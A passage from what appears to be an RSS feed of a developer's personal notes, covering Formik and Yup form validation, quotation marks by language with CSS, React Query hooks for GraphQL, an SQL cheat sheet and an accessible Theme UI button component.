        lastName: &apos;&apos;,
      }}
      onSubmit={async (
        values: SignupFormValues,
        actions: FormikHelpers&amp;lt;SignupFormValues&amp;gt;
      ) =&amp;gt; {
        // submit form data to API
      }}
    &amp;gt;
      {({ handleChange, handleBlur, values, isSubmitting, getFieldProps }) =&amp;gt; (
        &amp;lt;Form&amp;gt;
          &amp;lt;div&amp;gt;
            &amp;lt;label htmlFor=&quot;firstName&quot;&amp;gt;First name&amp;lt;/label&amp;gt;
            &amp;lt;input
              type=&quot;text&quot;
              autoComplete=&quot;given-name&quot;
              {...getFieldProps(&apos;firstName&apos;)}
            /&amp;gt;
            &amp;lt;ErrorMessage name=&quot;firstName&quot;&amp;gt;
              {(msg) =&amp;gt; &amp;lt;div&amp;gt;{msg}&amp;lt;/div&amp;gt;}
            &amp;lt;/ErrorMessage&amp;gt;
          &amp;lt;/div&amp;gt;
          &amp;lt;div&amp;gt;
            &amp;lt;label htmlFor=&quot;lastName&quot;&amp;gt;Last name&amp;lt;/label&amp;gt;
            &amp;lt;input
              name=&quot;lastName&quot;
              autoComplete=&quot;family-name&quot;
              {...getFieldProps(&apos;lastName&apos;)}
            /&amp;gt;
            &amp;lt;ErrorMessage name=&quot;lastName&quot;&amp;gt;
              {(msg) =&amp;gt; &amp;lt;div&amp;gt;{msg}&amp;lt;/div&amp;gt;}
            &amp;lt;/ErrorMessage&amp;gt;
          &amp;lt;/div&amp;gt;
          &amp;lt;div&amp;gt;
            &amp;lt;label htmlFor=&quot;email&quot;&amp;gt;Email address&amp;lt;/label&amp;gt;
            &amp;lt;input type=&quot;email&quot; {...getFieldProps(&apos;email&apos;)} /&amp;gt;
            &amp;lt;ErrorMessage name=&quot;email&quot;&amp;gt;
              {(msg) =&amp;gt; &amp;lt;div&amp;gt;{msg}&amp;lt;/div&amp;gt;}
            &amp;lt;/ErrorMessage&amp;gt;
          &amp;lt;/div&amp;gt;
          &amp;lt;div&amp;gt;
            &amp;lt;label htmlFor=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;
            &amp;lt;input type=&quot;password&quot; {...getFieldProps(&apos;password&apos;)} /&amp;gt;
            &amp;lt;ErrorMessage name=&quot;password&quot;&amp;gt;
              {(msg) =&amp;gt; &amp;lt;div&amp;gt;{msg}&amp;lt;/div&amp;gt;}
            &amp;lt;/ErrorMessage&amp;gt;
          &amp;lt;/div&amp;gt;
          &amp;lt;button type=&quot;submit&quot; disabled={isSubmitting}&amp;gt;
            Submit
          &amp;lt;/button&amp;gt;
        &amp;lt;/Form&amp;gt;
      )}
    &amp;lt;/Formik&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using Yup for validation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import React from &apos;react&apos;
import { Formik } from &apos;formik&apos;

interface SignupFormValues {
  email: string
  password: string
  firstName: string
  lastName: string
}

const InviteSchema = Yup.object().shape({
  email: Yup.string().email(&apos;Invalid email&apos;).required(&apos;Required&apos;),
  password: Yup.string().required(&apos;Required&apos;).min(8).max(200),
  firstName: Yup.string().required(&apos;Required&apos;),
  lastName: Yup.string(),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common patterns&lt;/h2&gt;
&lt;h3&gt;Loading state&lt;/h3&gt;
&lt;p&gt;Use the &lt;code&gt;useToggle&lt;/code&gt; hook to manipulate loading state for your form. When used correctly, the &lt;code&gt;Button&lt;/code&gt; component will show a loading indicator when the form is submitting.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// initialise the state
const [formSubmitting, , setFormSubmitting] = useToggle()

// change it when the user submits the form
onSubmit={async (values: FormValues) =&amp;gt; {
  setFormSubmitting(true) // &amp;lt;-- here
  try {
    // call your API to submit the form
  } catch (error: unknown) {
    // catch any errors
    let errorMessage = &apos;error.unknown&apos;
    if (typeof error === &apos;string&apos;) {
      errorMessage = error.toUpperCase()
    } else if (error instanceof Error) {
      errorMessage = error.message
    }
    setFormError(errorMessage)
    setFormSubmitting(false) // &amp;lt;-- here
  }
}}

// use it on the button
&amp;lt;Button
  type=&quot;submit&quot;
  isLoading={formSubmitting}
&amp;gt;
  Submit
&amp;lt;/Button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Submission errors&lt;/h3&gt;
&lt;p&gt;Use a &lt;code&gt;useState&lt;/code&gt; hook to set any errors that occur during form validation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// initialise the state
const [formError, setFormError] = useState&amp;lt;string&amp;gt;(&apos;&apos;)

// set the error when the form is submitted
onSubmit={async (values: FormValues) =&amp;gt; {
  setFormSubmitting(true)
  try {
    // call your API to submit the form
  } catch (error: unknown) {
    // catch any errors
    let errorMessage = &apos;error.unknown&apos;
    if (typeof error === &apos;string&apos;) {
      errorMessage = error.toUpperCase()
    } else if (error instanceof Error) {
      errorMessage = error.message
    }
    setFormError(errorMessage) // &amp;lt;-- here
    setFormSubmitting(false)
  }
}}

// Render a message if there are errors
{formError &amp;amp;&amp;amp; &amp;lt;Alert variant=&quot;error&quot;&amp;gt;{formError}&amp;lt;/Alert&amp;gt;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another aspect is to &quot;disable&quot; the submit button when there are validation errors. Use the &lt;code&gt;isValid&lt;/code&gt; prop from Formik to determine if the form is valid, then set the &lt;code&gt;isDisabled&lt;/code&gt; prop on the &lt;code&gt;Button&lt;/code&gt; component. This will prevent the button from being clicked and show a useful message to the user notifying them of the issue.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Button
  type=&quot;submit&quot;
  sx={{ mt: 2 }}
  isLoading={formSubmitting}
  isDisabled={!isValid}
  disabledText=&quot;Please fix the form validation errors&quot;
&amp;gt;
  Submit
&amp;lt;/Button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Validation&lt;/h3&gt;
&lt;p&gt;Use the &lt;code&gt;Yup&lt;/code&gt; library to validate the form. It is used in many forms in the app.&lt;/p&gt;
&lt;p&gt;Create your form schema:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const FormSchema = Yup.object().shape({
  email: Yup.string().email(&apos;Invalid email&apos;).required(&apos;Required&apos;),
  password: passwordValidation,
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><category>typescript</category><author>Zander Martineau</author></item><item><title>Quotation marks in different countries</title><link>https://zander.wtf/notes/quotation-marks/</link><guid isPermaLink="true">https://zander.wtf/notes/quotation-marks/</guid><description>Albanian: «…» ‹…› English: “…” ‘…’ Arab: «…» ‹…› African: „…” ‚…’ Belorussian: «…» „…“ Bulgarian: „…“ ‚…‘ Hungarian: „…” Greek: «…» ‹…› Danish: »…« ›…‹…</description><pubDate>Thu, 11 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;Albanian: &lt;code&gt;«…»&lt;/code&gt; &lt;code&gt;‹…›&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;English: &lt;code&gt;“…”&lt;/code&gt; &lt;code&gt;‘…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Arab: &lt;code&gt;«…»&lt;/code&gt; &lt;code&gt;‹…›&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;African: &lt;code&gt;„…”&lt;/code&gt; &lt;code&gt;‚…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Belorussian: &lt;code&gt;«…»&lt;/code&gt; &lt;code&gt;„…“&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bulgarian: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Hungarian: &lt;code&gt;„…”&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Greek: &lt;code&gt;«…»&lt;/code&gt; &lt;code&gt;‹…›&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Danish: &lt;code&gt;»…«&lt;/code&gt; &lt;code&gt;›…‹&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Hebrew: &lt;code&gt;«…»&lt;/code&gt; / &lt;code&gt;&apos;…&apos;&lt;/code&gt; &lt;code&gt;&apos;…&apos;&lt;/code&gt; / &lt;code&gt;&amp;lt;&amp;lt;…&amp;gt;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Irish: &lt;code&gt;“…”&lt;/code&gt; &lt;code&gt;‘…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Icelandic: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Spanish: &lt;code&gt;«…»&lt;/code&gt; &lt;code&gt;“…”&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Italian: &lt;code&gt;«…»&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Chinese: &lt;code&gt;“…”&lt;/code&gt; &lt;code&gt;‘…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Latvian: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;„…“&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Lithuanian: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Dutch: &lt;code&gt;„…”&lt;/code&gt; &lt;code&gt;‚…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;German: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Norwegian: &lt;code&gt;«…»&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Polish: &lt;code&gt;„…”&lt;/code&gt; &lt;code&gt;«…»&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Portuguese: &lt;code&gt;“…”&lt;/code&gt; &lt;code&gt;‘…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Romanian: &lt;code&gt;„…”&lt;/code&gt; &lt;code&gt;«…»&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Russian: &lt;code&gt;«…»&lt;/code&gt; &lt;code&gt;„…“&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Serbian: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Slovak: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Slovenian: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Turkish: &lt;code&gt;“…”&lt;/code&gt; &lt;code&gt;‘…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ukrainian: &lt;code&gt;«…»&lt;/code&gt; &lt;code&gt;„…“&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Finnish: &lt;code&gt;”…”&lt;/code&gt; &lt;code&gt;’…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;French: &lt;code&gt;« …&lt;/code&gt; &lt;code&gt;» ‹ … ›&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Croatian: &lt;code&gt;»…«&lt;/code&gt; &lt;code&gt;›…‹&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Czech: &lt;code&gt;„…“&lt;/code&gt; &lt;code&gt;‚…‘&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Swedish: &lt;code&gt;”…”&lt;/code&gt; &lt;code&gt;’…’&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Estonian: &lt;code&gt;„…”&lt;/code&gt; &lt;code&gt;„…”&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Japanese: &lt;code&gt;「…」&lt;/code&gt; &lt;code&gt;『…』&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Different kinds&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;“ ”&lt;/code&gt;: English double&lt;/li&gt;
&lt;li&gt;&lt;code&gt;‘ ’&lt;/code&gt;: English Single&lt;/li&gt;
&lt;li&gt;&lt;code&gt;« »&lt;/code&gt;: French «Christmas trees»&lt;/li&gt;
&lt;li&gt;&lt;code&gt;„ “&lt;/code&gt;: German „paws“&lt;/li&gt;
&lt;li&gt;&lt;code&gt;„ ”&lt;/code&gt;: Polish&lt;/li&gt;
&lt;li&gt;&lt;code&gt;» «&lt;/code&gt;: Swedish reverse&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot; &quot;&lt;/code&gt;: Double universal&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Example CSS&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;blockquote {
  background: #f9f9f9;
  border-left: 10px solid #ccc;
  margin: 1.5em 10px;
  padding: 0.5em 10px;
  quotes: &apos;“&apos; &apos;”&apos; &apos;‘&apos; &apos;’&apos;;
}
blockquote::before {
  color: #ccc;
  content: open-quote;
  font-size: 4em;
  line-height: 0.1em;
  margin-right: 0.25em;
  vertical-align: -0.4em;
}
blockquote p {
  display: inline;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>React Query with GraphQL</title><link>https://zander.wtf/notes/react-query-with-graphql/</link><guid isPermaLink="true">https://zander.wtf/notes/react-query-with-graphql/</guid><description>Two hooks are provided to make it easier to work with GraphQL and React Query. They use graphql-request to make the requests to the GraphQL server. GraphQL…</description><pubDate>Thu, 11 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Two hooks are provided to make it easier to work with GraphQL and React Query. They use &lt;a href=&quot;https://github.com/prisma-labs/graphql-request&quot;&gt;&lt;code&gt;graphql-request&lt;/code&gt;&lt;/a&gt; to make the requests to the GraphQL server.&lt;/p&gt;
&lt;p&gt;GraphQL client used in the following examples&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { GraphQLClient } from &apos;graphql-request&apos;

const endpoint = `${import.meta.env.VITE_HASURA_ENDPOINT}`
export const graphQlClient = new GraphQLClient(endpoint)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;useGqlQuery&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;A wrapper around &quot;useQuery&quot;&lt;/p&gt;
&lt;h4&gt;Source&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import {
  QueryKey,
  useQuery,
  UseQueryOptions,
  UseQueryResult,
} from &apos;react-query&apos;
import { auth } from &apos;../../config&apos;
import { graphQlClient } from &apos;../../graphql/client&apos;

/**
 * @name useGqlQuery
 * @description a helper hook that should be used when calling the GraphQL API
 */

export const useGqlQuery = &amp;lt;ResponseData = unknown, Variables = unknown&amp;gt;(
  queryKey: QueryKey,
  query: string,
  variables?: Variables,
  options?: UseQueryOptions&amp;lt;ResponseData, Error, ResponseData, QueryKey&amp;gt;
): UseQueryResult&amp;lt;ResponseData, Error&amp;gt; =&amp;gt; {
  return useQuery(
    queryKey,
    async () =&amp;gt; {
      try {
        // always get the latest token
        // this uses Firebase Authentication to get a token
        const token = await auth?.currentUser?.getIdToken()

        // if the token is `undefined`, no auth headers will be set
        // this allows us to use the GraphQL API for public queries
        const authorisationHeaders = token
          ? {
              Authorization: `Bearer ${token}`,
            }
          : undefined

        const response = await graphQlClient.request(
          query,
          variables,
          authorisationHeaders
        )
        return response
      } catch (error) {
        console.log(`🚀 ~ useGqlQuery ~ error`, error)
      }
    },
    options
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Usage&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;export const GET_SHORTLIST = gql`
  query ($from_id: uuid!) {
    contact_connection(
      where: {
        from_id: { _eq: $from_id }
        _and: { row_status: { _eq: &quot;active&quot; } }
      }
    ) {
      to_id
    }
  }
`
interface ShortlistItem {
  to_id: string
}

interface QueryData {
  contact_connection: ShortlistItem[]
}

interface QueryVariables {
  from_id: string
}

const getShortlistQuery = useGqlQuery&amp;lt;QueryData, QueryVariables&amp;gt;(
  &apos;queryKey&apos;,
  GET_SHORTLIST,
  {
    from_id: &apos;1234557565675&apos;,
  }
)
const shortlist = useMemo(() =&amp;gt; getShortlistQuery?.data[getShortlistQuery])
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;useGqlMutation&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;A wrapper around useMutation&lt;/p&gt;
&lt;h4&gt;Source&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import { useMutation, UseMutationResult, UseMutationOptions } from &apos;react-query&apos;
import { auth } from &apos;../../config&apos;
import { graphQlClient } from &apos;../../graphql/client&apos;

/**
 * @name useGqlMutation
 * @description a helper hook that should be used when mutating data with the GraphQL API
 */

export const useGqlMutation = &amp;lt;Response = unknown, Variables = unknown&amp;gt;(
  query: string,
  sideEffects?: UseMutationOptions&amp;lt;Response, Error, Variables, unknown&amp;gt;
): UseMutationResult&amp;lt;Response, Error, Variables, unknown&amp;gt; =&amp;gt; {
  return useMutation(async (variables) =&amp;gt; {
    // always get the latest token
    // this uses Firebase Authentication to get a token
    const token = await auth?.currentUser?.getIdToken()
    return graphQlClient.request(query, variables, {
      Authorization: `Bearer ${token}`,
    })
  }, sideEffects)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Usage&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;export const REMOVE_SHORTLIST = gql`
  mutation ($from_id: uuid!, $to_id: uuid!) {
    update_contact_connection(
      where: { from_id: { _eq: $from_id }, to_id: { _eq: $to_id } }
      _set: { row_status: &quot;inactive&quot; }
    ) {
      affected_rows
      returning {
        to_id
      }
    }
  }
`
interface ShortlistItem {
  to_id: string
}

interface MutationResponse {
  update_contact_connection: {
    affected_rows: number
    returning: ShortlistItem[]
  }
}

interface MutationVariables {
  from_id: string
  to_id: string
}

const removeShortlist = useGqlMutation&amp;lt;MutationResponse, MutationVariables&amp;gt;(
  REMOVE_SHORTLIST,
  {
    onSuccess: (data, variables) =&amp;gt; {
      queryClient.invalidateQueries(&apos;myShortlist&apos;)
      console.log(`🚀 ~ mutation variables`, variables)
      console.log(`🚀 ~ mutation data`, data)
    },
  }
)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><category>graphql</category><author>Zander Martineau</author></item><item><title>SQL</title><link>https://zander.wtf/notes/sql/</link><guid isPermaLink="true">https://zander.wtf/notes/sql/</guid><description>Queries Select all bookmarks with &apos;public&apos; tag Update the bookmarks table and set the public column to true for all items that have the public tag Select…</description><pubDate>Thu, 11 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;-- Comments start with two hyphens. End each command with a semicolon.

-- SQL is not case-sensitive about keywords. The sample commands here
-- follow the convention of spelling them in upper-case because it makes
-- it easier to distinguish them from database, table, and column names.

-- Create and delete a database. Database and table names are case-sensitive.
CREATE DATABASE someDatabase;
DROP DATABASE someDatabase;

-- List available databases.
SHOW DATABASES;

-- Use a particular existing database.
USE employees;

-- Select all rows and columns from the current database&apos;s departments table.
-- Default activity is for the interpreter to scroll the results on your screen.
SELECT * FROM departments;

-- Retrieve all rows from the departments table,
-- but only the dept_no and dept_name columns.
-- Splitting up commands across lines is OK.
SELECT dept_no,
       dept_name FROM departments;

-- Retrieve all departments columns, but just 5 rows.
SELECT * FROM departments LIMIT 5;

-- Retrieve dept_name column values from the departments
-- table where the dept_name value has the substring &apos;en&apos;.
SELECT dept_name FROM departments WHERE dept_name LIKE &apos;%en%&apos;;

-- Retrieve all columns from the departments table where the dept_name
-- column starts with an &apos;S&apos; and has exactly 4 characters after it.
SELECT * FROM departments WHERE dept_name LIKE &apos;S____&apos;;

-- Select title values from the titles table but don&apos;t show duplicates.
SELECT DISTINCT title FROM titles;

-- Same as above, but sorted (case-sensitive) by the title values.
SELECT DISTINCT title FROM titles ORDER BY title;

-- Show the number of rows in the departments table.
SELECT COUNT(*) FROM departments;

-- Show the number of rows in the departments table that
-- have &apos;en&apos; as a substring of the dept_name value.
SELECT COUNT(*) FROM departments WHERE dept_name LIKE &apos;%en%&apos;;

-- A JOIN of information from multiple tables: the titles table shows
-- who had what job titles, by their employee numbers, from what
-- date to what date. Retrieve this information, but instead of the
-- employee number, use the employee number as a cross-reference to
-- the employees table to get each employee&apos;s first and last name
-- instead. (And only get 10 rows.)

SELECT employees.first_name, employees.last_name,
       titles.title, titles.from_date, titles.to_date
FROM titles INNER JOIN employees ON
       employees.emp_no = titles.emp_no LIMIT 10;

-- List all the tables in all the databases. Implementations typically provide
-- their own shortcut command to do this with the database currently in use.
SELECT * FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE=&apos;BASE TABLE&apos;;

-- Create a table called tablename1, with the two columns shown, for
-- the database currently in use. Lots of other options are available
-- for how you specify the columns, such as their datatypes.
CREATE TABLE tablename1 (fname VARCHAR(20), lname VARCHAR(20));

-- Insert a row of data into the table tablename1. This assumes that the
-- table has been defined to accept these values as appropriate for it.
INSERT INTO tablename1 VALUES(&apos;Richard&apos;,&apos;Mutt&apos;);

-- In tablename1, change the fname value to &apos;John&apos;
-- for all rows that have an lname value of &apos;Mutt&apos;.
UPDATE tablename1 SET fname=&apos;John&apos; WHERE lname=&apos;Mutt&apos;;

-- Delete rows from the tablename1 table
-- where the lname value begins with &apos;M&apos;.
DELETE FROM tablename1 WHERE lname like &apos;M%&apos;;

-- Delete all rows from the tablename1 table, leaving the empty table.
DELETE FROM tablename1;

-- Remove the entire tablename1 table.
DROP TABLE tablename1;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Queries&lt;/h2&gt;
&lt;p&gt;Select all bookmarks with &apos;public&apos; tag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT *
FROM public.bookmarks
WHERE &apos;test&apos; = ANY(tags);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Update the bookmarks table and set the &lt;code&gt;public&lt;/code&gt; column to true for all items that have the &lt;code&gt;public&lt;/code&gt; tag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE public.bookmarks
SET public = true
WHERE &apos;public&apos; = ANY(tags);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Select all bookmarks with &apos;public&apos; tag and remove the &lt;code&gt;public&lt;/code&gt; tag from those items&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE public.bookmarks
SET &quot;tags&quot; = array_remove(&quot;tags&quot;, &apos;public&apos;)
WHERE &apos;public&apos; = ANY(&quot;tags&quot;);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Custom inclusive/accessible Theme UI Button</title><link>https://zander.wtf/notes/theme-ui-button/</link><guid isPermaLink="true">https://zander.wtf/notes/theme-ui-button/</guid><description>This button component extends Theme UI&apos;s Button and add some more props/functionality. It takes all standard attributes e.g. disabled, type etc etc AND…</description><pubDate>Thu, 11 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This button component extends Theme UI&apos;s &lt;code&gt;Button&lt;/code&gt; and add some more props/functionality. It takes all standard &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; attributes e.g. &lt;code&gt;disabled&lt;/code&gt;, &lt;code&gt;type&lt;/code&gt; etc etc &lt;strong&gt;AND&lt;/strong&gt; also Theme UI&apos;s props like &lt;code&gt;variant&lt;/code&gt; and &lt;code&gt;sx&lt;/code&gt;. It is based on the guidelines at https://css-tricks.com/making-disabled-buttons-more-inclusive/&lt;/p&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Button&amp;gt;Click me&amp;lt;/Button&amp;gt;
&amp;lt;Button type=&quot;submit&quot;&amp;gt;Click me&amp;lt;/Button&amp;gt;
&amp;lt;Button disabled&amp;gt;Click me&amp;lt;/Button&amp;gt;
&amp;lt;Button onClick={() =&amp;gt; console.log(&apos;clicked&apos;)}&amp;gt;Click me&amp;lt;/Button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With loading state&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Button isLoading={true}&amp;gt;Click me&amp;lt;/Button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Inclusive/accessible disabled state&lt;/h3&gt;
&lt;p&gt;Using the guidelines from https://css-tricks.com/making-disabled-buttons-more-inclusive/, this button will show a simple tooltip if the form state is not ready. Instead of passing &lt;code&gt;disabled=true&lt;/code&gt; to the button, use the &lt;code&gt;isDisabled&lt;/code&gt; &amp;amp; &lt;code&gt;disabledText&lt;/code&gt; props.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Button
  isDisabled={true}
  disabledText=&quot;You must select a meeting for all trainees&quot;
&amp;gt;
  Request meetings
&amp;lt;/Button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Icon buttons&lt;/h3&gt;
&lt;p&gt;If you need an icon button, do not use this &lt;code&gt;Button&lt;/code&gt; component. Instead, use the &lt;code&gt;IconButton&lt;/code&gt; component from &lt;code&gt;theme-ui&lt;/code&gt;, like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { IconButton } from &apos;theme-ui&apos;
import { IconPicker } from &apos;../components&apos;
;&amp;lt;IconButton&amp;gt;
  &amp;lt;IconPicker icon=&quot;exclamation&quot; /&amp;gt;
&amp;lt;/IconButton&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Source code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import React, { forwardRef } from &apos;react&apos;
import {
  Box,
  Button as ThemeUIButton,
  ButtonProps as ThemeUIButtonProps,
} from &apos;theme-ui&apos;

export interface ButtonProps extends ThemeUIButtonProps {
  isLoading?: boolean
  isDisabled?: boolean
  disabledText?: string
}

export const Button = forwardRef&amp;lt;HTMLButtonElement, ButtonProps&amp;gt;(
  (
    {
      sx,
      isLoading,
      children,
      onClick,
      isDisabled,
      disabledText,
      disabled,
      ...rest
    },
    ref
  ): JSX.Element =&amp;gt; {
    return (
      &amp;lt;ThemeUIButton
        sx={{
          position: &apos;relative&apos;,
          display: &apos;inline-flex&apos;,
          alignItems: &apos;center&apos;,
          ...sx,
          cursor: isLoading ? &apos;wait&apos; : isDisabled ? &apos;not-allowed&apos; : &apos;pointer&apos;,
          &apos;&amp;amp;:hover .tooltipBox,&amp;amp;:focus-within .tooltipBox&apos;: {
            opacity: 1,
            visibility: &apos;visible&apos;,
            transition: &apos;opacity 250ms&apos;,
          },
          &apos;&amp;amp;:hover .tooltipBox:hover &amp;amp;&apos;: {
            transition: &apos;opacity 250ms 500ms&apos;,
          },
        }}
        ref={ref}
        disabled={disabled}
        onClick={(event) =&amp;gt; {
          if (isLoading || isDisabled) {
            event.preventDefault()
          } else {
            onClick?.(event)
          }
        }}
        {...rest}
        aria-disabled={isDisabled ? &apos;true&apos; : &apos;false&apos;}
        aria-describedby=&quot;disabledReason&quot;
      &amp;gt;
        &amp;lt;Box
          as=&quot;span&quot;
          sx={{
            visibility: isLoading ? &apos;hidden&apos; : &apos;visible&apos;,
          }}
        &amp;gt;
          {children}
        &amp;lt;/Box&amp;gt;
        {isLoading &amp;amp;&amp;amp; (
          &amp;lt;Box
            sx={{
              position: &apos;absolute&apos;,
              top: &apos;50%&apos;,
              left: &apos;50%&apos;,
              transform: &apos;translate(-50%, -50%)&apos;,
              color: &apos;currentColor&apos;,
              pointerEvents: &apos;none&apos;,
              visibility: isLoading ? &apos;visible&apos; : &apos;hidden&apos;,
            }}
          &amp;gt;
            🤔
          &amp;lt;/Box&amp;gt;
        )}
        {isDisabled &amp;amp;&amp;amp; disabledText ? (
          &amp;lt;Box
            role=&quot;tooltip&quot;
            className=&quot;tooltipBox&quot;
            id=&quot;disabledReason&quot;
            sx={{
              position: &apos;absolute&apos;,
              bottom: &apos;100%&apos;,
              left: &apos;50%&apos;,
              transform: &apos;translateX(-50%)&apos;,
              width: &apos;max-content&apos;,
              pb: 2,
              opacity: 0,
              visibility: &apos;hidden&apos;,
              transition: &apos;opacity 250ms, visibility 1ms 250ms&apos;,
            }}
          &amp;gt;
            &amp;lt;Box
              as=&quot;span&quot;
              className=&quot;tooltipItself&quot;
              sx={{
                display: &apos;block&apos;,
                bg: &apos;#e2e8f0&apos;,
                color: &apos;#64748b&apos;,
                px: 2,
                py: 1,
                fontSize: 1,
                borderRadius: &apos;default&apos;,
                textAlign: &apos;center&apos;,
                WebkitFontSmoothing: &apos;initial&apos;,
                MozOsxFontSmoothing: &apos;initial&apos;,
              }}
            &amp;gt;
              {disabledText}
            &amp;lt;/Box&amp;gt;
          &amp;lt;/Box&amp;gt;
        ) : null}
      &amp;lt;/ThemeUIButton&amp;gt;
    )
  }
)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><category>typescript</category><category>a11y</category><author>Zander Martineau</author></item><item><title>Firebase</title><link>https://zander.wtf/notes/firebase/</link><guid isPermaLink="true">https://zander.wtf/notes/firebase/</guid><description>Client side Initialise the app like so: https://firebase.google.com/docs/web/setup#default-hosting-site Hosting…</description><pubDate>Mon, 12 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Client side&lt;/h2&gt;
&lt;p&gt;Initialise the app like so:&lt;/p&gt;
&lt;p&gt;https://firebase.google.com/docs/web/setup#default-hosting-site&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// firebase.ts
import firebase from &apos;firebase/app&apos;
import &apos;firebase/auth&apos;
import &apos;firebase/firestore&apos;
import &apos;firebase/functions&apos;

